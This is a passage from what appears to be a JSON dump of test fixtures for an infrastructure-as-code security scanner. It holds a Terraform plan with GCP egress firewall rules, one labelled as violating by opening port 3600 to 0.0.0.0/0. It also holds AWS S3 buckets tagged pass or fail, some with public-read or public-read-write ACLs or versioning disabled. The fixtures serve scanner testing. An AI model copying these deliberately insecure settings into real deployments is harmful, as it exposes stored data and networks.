\"ports\": [\n                \"80\",\n                \"443\",\n                \"3600\"\n              ],\n              \"protocol\": \"tcp\"\n            }\n          ],\n          \"deny\": [],\n          \"description\": \"gcp-wss-tcp-allow\",\n          \"destination_ranges\": [\n            \"0.0.0.0/0\"\n          ],\n          \"direction\": \"EGRESS\",\n          \"disabled\": false,\n          \"log_config\": [\n            {\n              \"metadata\": \"INCLUDE_ALL_METADATA\"\n            }\n          ],\n          \"name\": \"egress-wss-violating-port3600-allow\",\n          \"network\": \"achia_test-peered-wss-network\",\n          \"priority\": 1000,\n          \"project\": \"fake-id\",\n          \"source_service_accounts\": null,\n          \"source_tags\": null,\n          \"target_service_accounts\": null,\n          \"target_tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allow\": [\n            {\n              \"ports\": [\n                false,\n                false,\n                false\n              ]\n            }\n          ],\n          \"creation_timestamp\": true,\n          \"deny\": [],\n          \"destination_ranges\": [\n            false\n          ],\n          \"enable_logging\": true,\n          \"id\": true,\n          \"log_config\": [\n            {}\n          ],\n          \"self_link\": true,\n          \"source_ranges\": true\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_network.achia_test_nonpeered_network\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network\",\n          \"name\": \"achia_test_nonpeered_network\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"achia_test-nonpeered-network\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"google_compute_network.achia_test_peered_nonwss_network\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network\",\n          \"name\": \"achia_test_peered_nonwss_network\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"achia_test-peered-nonwss-network\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"google_compute_network.achia_test_peered_wss_network\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network\",\n          \"name\": \"achia_test_peered_wss_network\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"achia_test-peered-wss-network\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_from_nonwss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_from_nonwss\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"fake-network-peering-from-nonwss\"\n            },\n            \"network\": {\n              \"constant_value\": \"https://www.achia.com11111\"\n            },\n            \"peer_network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_nonwss_network\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_from_wss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_from_wss\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"fake-network-peering-from-wss\"\n            },\n            \"network\": {\n              \"constant_value\": \"https://www.achia.com11111\"\n            },\n            \"peer_network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_wss_network\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_to_nonwss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_to_nonwss\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"fake-network-peering-to-nonwss\"\n            },\n            \"network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_nonwss_network\"\n              ]\n            },\n            \"peer_network\": {\n              \"constant_value\": \"https://www.achia.com11111\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_to_wss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_to_wss\",\n          \"provider_config_key\": \"google\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"fake-network-peering-to-wss\"\n            },\n            \"network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_wss_network\"\n              ]\n            },\n            \"peer_network\": {\n              \"constant_value\": \"https://www.achia.com11111\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ],\n      \"module_calls\": {\n        \"achia_test_valid_443\": {\n          \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n          \"expressions\": {\n            \"action\": {\n              \"constant_value\": \"allow\"\n            },\n            \"description\": {\n              \"constant_value\": \"gcp-wss-tcp-allow\"\n            },\n            \"direction\": {\n              \"constant_value\": \"EGRESS\"\n            },\n            \"extra_attributes\": {\n              \"constant_value\": {\n                \"enable_logging\": true,\n                \"priority\": 1000\n              }\n            },\n            \"fw_destination\": {\n              \"constant_value\": \"wss\"\n            },\n            \"fw_purpose\": {\n              \"constant_value\": \"valid-port443\"\n            },\n            \"fw_source\": {\n              \"constant_value\": \"egress\"\n            },\n            \"network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_wss_network\"\n              ]\n            },\n            \"project_id\": {\n              \"constant_value\": \"fake-id\"\n            },\n            \"ranges\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"rules\": {\n              \"constant_value\": [\n                {\n                  \"ports\": [\n                    443\n                  ],\n                  \"protocol\": \"tcp\"\n                }\n              ]\n            },\n            \"sources\": {\n              \"references\": [\n                \"local.source_sa\"\n              ]\n            },\n            \"use_service_accounts\": {\n              \"constant_value\": true\n            }\n          },\n          \"module\": {\n            \"outputs\": {\n              \"firewall_rules\": {\n                \"expression\": {\n                  \"references\": [\n                    \"google_compute_firewall.custom\"\n                  ]\n                },\n                \"description\": \"The  firewall rules created\"\n              }\n            },\n            \"resources\": [\n              {\n                \"address\": \"google_compute_firewall.custom\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"provider_config_key\": \"achia_test_valid_443:google\",\n                \"expressions\": {\n                  \"description\": {\n                    \"references\": [\n                      \"var.description\"\n                    ]\n                  },\n                  \"destination_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"direction\": {\n                    \"references\": [\n                      \"var.direction\"\n                    ]\n                  },\n                  \"disabled\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"name\": {\n                    \"references\": [\n                      \"local.firewall_name\"\n                    ]\n                  },\n                  \"network\": {\n                    \"references\": [\n                      \"var.network\"\n                    ]\n                  },\n                  \"priority\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"project\": {\n                    \"references\": [\n                      \"var.project_id\"\n                    ]\n                  },\n                  \"source_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"source_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"source_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"target_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  },\n                  \"target_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  }\n                },\n                \"schema_version\": 1,\n                \"count_expression\": {\n                  \"references\": [\n                    \"var.enabled\"\n                  ]\n                }\n              }\n            ],\n            \"variables\": {\n              \"action\": {\n                \"description\": \"must be one of the following : allow/ deny\"\n              },\n              \"description\": {\n                \"default\": null,\n                \"description\": \"Description for the firewall rule\"\n              },\n              \"direction\": {\n                \"default\": null,\n                \"description\": \"Direction of traffic to which this firewall applies\"\n              },\n              \"enabled\": {\n                \"default\": true,\n                \"description\": \"Whether to enable this module or not.\"\n              },\n              \"extra_attributes\": {\n                \"default\": null,\n                \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n              },\n              \"fw_destination\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_purpose\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_source\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"log_config\": {\n                \"default\": {\n                  \"metadata\": \"INCLUDE_ALL_METADATA\"\n                },\n                \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n              },\n              \"network\": {\n                \"description\": \"Name of the network this set of firewall rules applies to.\"\n              },\n              \"project_id\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"ranges\": {\n                \"default\": null,\n                \"description\": \"Source/ Destination IP range\"\n              },\n              \"rules\": {\n                \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n              },\n              \"sources\": {\n                \"default\": null,\n                \"description\": \"Source tags/ Service Account\"\n              },\n              \"targets\": {\n                \"default\": null,\n                \"description\": \"Target tags/ Service Account\"\n              },\n              \"use_service_accounts\": {\n                \"default\": true,\n                \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n              }\n            }\n          }\n        },\n        \"achia_test_valid_ports\": {\n          \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n          \"expressions\": {\n            \"action\": {\n              \"constant_value\": \"allow\"\n            },\n            \"description\": {\n              \"constant_value\": \"gcp-wss-tcp-allow\"\n            },\n            \"direction\": {\n              \"constant_value\": \"EGRESS\"\n            },\n            \"extra_attributes\": {\n              \"constant_value\": {\n                \"enable_logging\": true,\n                \"priority\": 1000\n              }\n            },\n            \"fw_destination\": {\n              \"constant_value\": \"wss\"\n            },\n            \"fw_purpose\": {\n              \"constant_value\": \"valid-port80and443\"\n            },\n            \"fw_source\": {\n              \"constant_value\": \"egress\"\n            },\n            \"network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_wss_network\"\n              ]\n            },\n            \"project_id\": {\n              \"constant_value\": \"fake-id\"\n            },\n            \"ranges\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"rules\": {\n              \"constant_value\": [\n                {\n                  \"ports\": [\n                    80,\n                    443\n                  ],\n                  \"protocol\": \"tcp\"\n                }\n              ]\n            },\n            \"sources\": {\n              \"references\": [\n                \"local.source_sa\"\n              ]\n            },\n            \"use_service_accounts\": {\n              \"constant_value\": true\n            }\n          },\n          \"module\": {\n            \"outputs\": {\n              \"firewall_rules\": {\n                \"expression\": {\n                  \"references\": [\n                    \"google_compute_firewall.custom\"\n                  ]\n                },\n                \"description\": \"The  firewall rules created\"\n              }\n            },\n            \"resources\": [\n              {\n                \"address\": \"google_compute_firewall.custom\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"provider_config_key\": \"achia_test_valid_ports:google\",\n                \"expressions\": {\n                  \"description\": {\n                    \"references\": [\n                      \"var.description\"\n                    ]\n                  },\n                  \"destination_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"direction\": {\n                    \"references\": [\n                      \"var.direction\"\n                    ]\n                  },\n                  \"disabled\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"name\": {\n                    \"references\": [\n                      \"local.firewall_name\"\n                    ]\n                  },\n                  \"network\": {\n                    \"references\": [\n                      \"var.network\"\n                    ]\n                  },\n                  \"priority\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"project\": {\n                    \"references\": [\n                      \"var.project_id\"\n                    ]\n                  },\n                  \"source_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"source_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"source_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"target_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  },\n                  \"target_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  }\n                },\n                \"schema_version\": 1,\n                \"count_expression\": {\n                  \"references\": [\n                    \"var.enabled\"\n                  ]\n                }\n              }\n            ],\n            \"variables\": {\n              \"action\": {\n                \"description\": \"must be one of the following : allow/ deny\"\n              },\n              \"description\": {\n                \"default\": null,\n                \"description\": \"Description for the firewall rule\"\n              },\n              \"direction\": {\n                \"default\": null,\n                \"description\": \"Direction of traffic to which this firewall applies\"\n              },\n              \"enabled\": {\n                \"default\": true,\n                \"description\": \"Whether to enable this module or not.\"\n              },\n              \"extra_attributes\": {\n                \"default\": null,\n                \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n              },\n              \"fw_destination\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_purpose\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_source\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"log_config\": {\n                \"default\": {\n                  \"metadata\": \"INCLUDE_ALL_METADATA\"\n                },\n                \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n              },\n              \"network\": {\n                \"description\": \"Name of the network this set of firewall rules applies to.\"\n              },\n              \"project_id\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"ranges\": {\n                \"default\": null,\n                \"description\": \"Source/ Destination IP range\"\n              },\n              \"rules\": {\n                \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n              },\n              \"sources\": {\n                \"default\": null,\n                \"description\": \"Source tags/ Service Account\"\n              },\n              \"targets\": {\n                \"default\": null,\n                \"description\": \"Target tags/ Service Account\"\n              },\n              \"use_service_accounts\": {\n                \"default\": true,\n                \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n              }\n            }\n          }\n        },\n        \"achia_test_violating_no_ports\": {\n          \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n          \"expressions\": {\n            \"action\": {\n              \"constant_value\": \"allow\"\n            },\n            \"description\": {\n              \"constant_value\": \"gcp-wss-tcp-allow\"\n            },\n            \"direction\": {\n              \"constant_value\": \"EGRESS\"\n            },\n            \"extra_attributes\": {\n              \"constant_value\": {\n                \"enable_logging\": true,\n                \"priority\": 1000\n              }\n            },\n            \"fw_destination\": {\n              \"constant_value\": \"wss\"\n            },\n            \"fw_purpose\": {\n              \"constant_value\": \"all-ports\"\n            },\n            \"fw_source\": {\n              \"constant_value\": \"egress\"\n            },\n            \"network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_wss_network\"\n              ]\n            },\n            \"project_id\": {\n              \"constant_value\": \"fake-id\"\n            },\n            \"ranges\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"rules\": {\n              \"constant_value\": [\n                {\n                  \"ports\": [],\n                  \"protocol\": \"tcp\"\n                }\n              ]\n            },\n            \"sources\": {\n              \"references\": [\n                \"local.source_sa\"\n              ]\n            },\n            \"use_service_accounts\": {\n              \"constant_value\": true\n            }\n          },\n          \"module\": {\n            \"outputs\": {\n              \"firewall_rules\": {\n                \"expression\": {\n                  \"references\": [\n                    \"google_compute_firewall.custom\"\n                  ]\n                },\n                \"description\": \"The  firewall rules created\"\n              }\n            },\n            \"resources\": [\n              {\n                \"address\": \"google_compute_firewall.custom\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"provider_config_key\": \"achia_test_violating_no_ports:google\",\n                \"expressions\": {\n                  \"description\": {\n                    \"references\": [\n                      \"var.description\"\n                    ]\n                  },\n                  \"destination_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"direction\": {\n                    \"references\": [\n                      \"var.direction\"\n                    ]\n                  },\n                  \"disabled\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"name\": {\n                    \"references\": [\n                      \"local.firewall_name\"\n                    ]\n                  },\n                  \"network\": {\n                    \"references\": [\n                      \"var.network\"\n                    ]\n                  },\n                  \"priority\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"project\": {\n                    \"references\": [\n                      \"var.project_id\"\n                    ]\n                  },\n                  \"source_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"source_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"source_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"target_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  },\n                  \"target_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  }\n                },\n                \"schema_version\": 1,\n                \"count_expression\": {\n                  \"references\": [\n                    \"var.enabled\"\n                  ]\n                }\n              }\n            ],\n            \"variables\": {\n              \"action\": {\n                \"description\": \"must be one of the following : allow/ deny\"\n              },\n              \"description\": {\n                \"default\": null,\n                \"description\": \"Description for the firewall rule\"\n              },\n              \"direction\": {\n                \"default\": null,\n                \"description\": \"Direction of traffic to which this firewall applies\"\n              },\n              \"enabled\": {\n                \"default\": true,\n                \"description\": \"Whether to enable this module or not.\"\n              },\n              \"extra_attributes\": {\n                \"default\": null,\n                \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n              },\n              \"fw_destination\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_purpose\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_source\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"log_config\": {\n                \"default\": {\n                  \"metadata\": \"INCLUDE_ALL_METADATA\"\n                },\n                \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n              },\n              \"network\": {\n                \"description\": \"Name of the network this set of firewall rules applies to.\"\n              },\n              \"project_id\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"ranges\": {\n                \"default\": null,\n                \"description\": \"Source/ Destination IP range\"\n              },\n              \"rules\": {\n                \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n              },\n              \"sources\": {\n                \"default\": null,\n                \"description\": \"Source tags/ Service Account\"\n              },\n              \"targets\": {\n                \"default\": null,\n                \"description\": \"Target tags/ Service Account\"\n              },\n              \"use_service_accounts\": {\n                \"default\": true,\n                \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n              }\n            }\n          }\n        },\n        \"achia_test_violating_port\": {\n          \"source\": \"tfe.mayo.edu/mcc/m-network-firewall/google\",\n          \"expressions\": {\n            \"action\": {\n              \"constant_value\": \"allow\"\n            },\n            \"description\": {\n              \"constant_value\": \"gcp-wss-tcp-allow\"\n            },\n            \"direction\": {\n              \"constant_value\": \"EGRESS\"\n            },\n            \"extra_attributes\": {\n              \"constant_value\": {\n                \"enable_logging\": true,\n                \"priority\": 1000\n              }\n            },\n            \"fw_destination\": {\n              \"constant_value\": \"wss\"\n            },\n            \"fw_purpose\": {\n              \"constant_value\": \"violating-port3600\"\n            },\n            \"fw_source\": {\n              \"constant_value\": \"egress\"\n            },\n            \"network\": {\n              \"references\": [\n                \"google_compute_network.achia_test_peered_wss_network\"\n              ]\n            },\n            \"project_id\": {\n              \"constant_value\": \"fake-id\"\n            },\n            \"ranges\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"rules\": {\n              \"constant_value\": [\n                {\n                  \"ports\": [\n                    80,\n                    443,\n                    3600\n                  ],\n                  \"protocol\": \"tcp\"\n                }\n              ]\n            },\n            \"sources\": {\n              \"references\": [\n                \"local.source_sa\"\n              ]\n            },\n            \"use_service_accounts\": {\n              \"constant_value\": true\n            }\n          },\n          \"module\": {\n            \"outputs\": {\n              \"firewall_rules\": {\n                \"expression\": {\n                  \"references\": [\n                    \"google_compute_firewall.custom\"\n                  ]\n                },\n                \"description\": \"The  firewall rules created\"\n              }\n            },\n            \"resources\": [\n              {\n                \"address\": \"google_compute_firewall.custom\",\n                \"mode\": \"managed\",\n                \"type\": \"google_compute_firewall\",\n                \"name\": \"custom\",\n                \"provider_config_key\": \"achia_test_violating_port:google\",\n                \"expressions\": {\n                  \"description\": {\n                    \"references\": [\n                      \"var.description\"\n                    ]\n                  },\n                  \"destination_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"direction\": {\n                    \"references\": [\n                      \"var.direction\"\n                    ]\n                  },\n                  \"disabled\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"name\": {\n                    \"references\": [\n                      \"local.firewall_name\"\n                    ]\n                  },\n                  \"network\": {\n                    \"references\": [\n                      \"var.network\"\n                    ]\n                  },\n                  \"priority\": {\n                    \"references\": [\n                      \"var.extra_attributes\"\n                    ]\n                  },\n                  \"project\": {\n                    \"references\": [\n                      \"var.project_id\"\n                    ]\n                  },\n                  \"source_ranges\": {\n                    \"references\": [\n                      \"var.direction\",\n                      \"var.ranges\"\n                    ]\n                  },\n                  \"source_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"source_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.direction\",\n                      \"var.sources\"\n                    ]\n                  },\n                  \"target_service_accounts\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  },\n                  \"target_tags\": {\n                    \"references\": [\n                      \"var.use_service_accounts\",\n                      \"var.targets\"\n                    ]\n                  }\n                },\n                \"schema_version\": 1,\n                \"count_expression\": {\n                  \"references\": [\n                    \"var.enabled\"\n                  ]\n                }\n              }\n            ],\n            \"variables\": {\n              \"action\": {\n                \"description\": \"must be one of the following : allow/ deny\"\n              },\n              \"description\": {\n                \"default\": null,\n                \"description\": \"Description for the firewall rule\"\n              },\n              \"direction\": {\n                \"default\": null,\n                \"description\": \"Direction of traffic to which this firewall applies\"\n              },\n              \"enabled\": {\n                \"default\": true,\n                \"description\": \"Whether to enable this module or not.\"\n              },\n              \"extra_attributes\": {\n                \"default\": null,\n                \"description\": \"Map(string) that includes extra arguments like disabled, priority and enabled_logging\"\n              },\n              \"fw_destination\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_purpose\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"fw_source\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"log_config\": {\n                \"default\": {\n                  \"metadata\": \"INCLUDE_ALL_METADATA\"\n                },\n                \"description\": \"The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config\"\n              },\n              \"network\": {\n                \"description\": \"Name of the network this set of firewall rules applies to.\"\n              },\n              \"project_id\": {\n                \"description\": \"Project id of the project that holds the network.\"\n              },\n              \"ranges\": {\n                \"default\": null,\n                \"description\": \"Source/ Destination IP range\"\n              },\n              \"rules\": {\n                \"description\": \"A list of object that includes protocol type and the corresponding ports\"\n              },\n              \"sources\": {\n                \"default\": null,\n                \"description\": \"Source tags/ Service Account\"\n              },\n              \"targets\": {\n                \"default\": null,\n                \"description\": \"Target tags/ Service Account\"\n              },\n              \"use_service_accounts\": {\n                \"default\": true,\n                \"description\": \"Boolean value to indicate if either Service Accounts or Tags are to be used\"\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/resource_ids_nested_modules/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n  acl    = \"public-read\"\n}\n\nmodule \"recursive_module\" {\n  source = \"./\"\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n  acl    = \"public-read\"\n}\n\n"
  },
  {
    "path": "tests/terraform/runner/resources/resource_ids_nested_modules/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  acl    = var.acl\n}\n\nresource \"aws_s3_bucket\" \"example2\" {\n  bucket = \"example\"\n  acl    = var.acl\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_ids_nested_modules/module/module2/main.tf",
    "content": "resource \"aws_s3_bucket\" \"example3\" {\n  bucket = \"example\"\n  acl    = var.acl\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/resource_ids_nested_modules/module/module2/variable.tf",
    "content": "variable \"acl\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_ids_nested_modules/module/variable.tf",
    "content": "variable \"acl\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_negative_value_without_var/main.tf",
    "content": "# pass\nresource \"aws_s3_bucket\" \"passed_bucket\" {\n  bucket = \"passed_bucket\"\n  acl    = var.private_acl\n}\n\n# fail\nresource \"aws_s3_bucket\" \"failed_bucket\" {\n  bucket = \"failed_bucket\"\n  acl    = var.public_read_write_acl\n}\n\n### variables not in scope or dont exist ###\n\nresource \"aws_s3_bucket\" \"unknown_acl_bucket\" {\n  bucket = \"unknown_acl_bucket\"\n  acl    = var.var_doesnt_exist\n}\n\nresource \"aws_s3_bucket\" \"unknown_acl_bucket_2\" {\n  bucket = \"unknown_acl_bucket_2\"\n  acl    = var.unscoped_private_acl\n}\n\nresource \"aws_s3_bucket\" \"unknown_acl_bucket_3\" {\n  bucket = \"unknown_acl_bucket_3\"\n  acl    = var.unscoped_public_read_write_acl\n}\n\nresource \"aws_s3_bucket\" \"unknown_acl_bucket_4\" {\n  bucket = \"unknown_acl_bucket_4\"\n  acl    = local.unscoped_private_acl\n}\n\nresource \"aws_s3_bucket\" \"unknown_acl_bucket_5\" {\n  bucket = \"unknown_acl_bucket_5\"\n  acl    = local.unscoped_public_read_write_acl\n}\n\nresource \"aws_s3_bucket\" \"unknown_data_acl_bucket\" {\n  bucket = \"unknown_acl_bucket\"\n  acl    = data.doesnt_exist\n}\n\nresource \"aws_s3_bucket\" \"unknown_data_acl_bucket\" {\n  bucket = \"unknown_acl_bucket\"\n  acl    = module.doesnt_exist\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_negative_value_without_var/variables.tf",
    "content": "variable \"private_acl\" {\n  default = \"private\"\n}\n\nvariable \"public_read_write_acl\" {\n  default = \"public-read-write\"\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_negative_value_without_var/variables_unscoped.tf",
    "content": "variable \"unscoped_private_acl\" {\n  default = \"private\"\n}\n\nvariable \"unscoped_public_read_write_acl\" {\n  default = \"public-read-write\"\n}\n\nlocals {\n  unscoped_private_acl = \"private\"\n  unscoped_public_read_write_acl = \"public-read-write\"\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_value_without_var/main.tf",
    "content": "# pass\nresource \"aws_s3_bucket\" \"enabled_bucket\" {\n  bucket = \"enabled_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = var.versioning_enabled\n  }\n}\n\n# fail\nresource \"aws_s3_bucket\" \"disabled_bucket\" {\n  bucket = \"disabled_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = var.versioning_disabled\n  }\n}\n\n### variables not in scope or dont exist ###\n\nresource \"aws_s3_bucket\" \"unknown_var_bucket\" {\n  bucket = \"unknown_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = var.versioning_unknown\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_var_2_bucket\" {\n  bucket = \"unknown_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = var.versioning_disabled_2\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_local_bucket\" {\n  bucket = \"unknown_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = local.versioning_disabled\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_enabled_bucket\" {\n  bucket = \"unknown_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = var.versioning_enabled_2\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_enabled_local_bucket\" {\n  bucket = \"unknown_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = local.versioning_enabled\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_data_acl_bucket\" {\n  bucket = \"unknown_acl_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = data.doesnt_exist\n  }\n}\n\nresource \"aws_s3_bucket\" \"unknown_data_acl_bucket\" {\n  bucket = \"unknown_acl_bucket\"\n  acl    = \"private\"\n\n  versioning {\n    enabled = module.doesnt_exist\n  }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/resource_value_without_var/variables.tf",
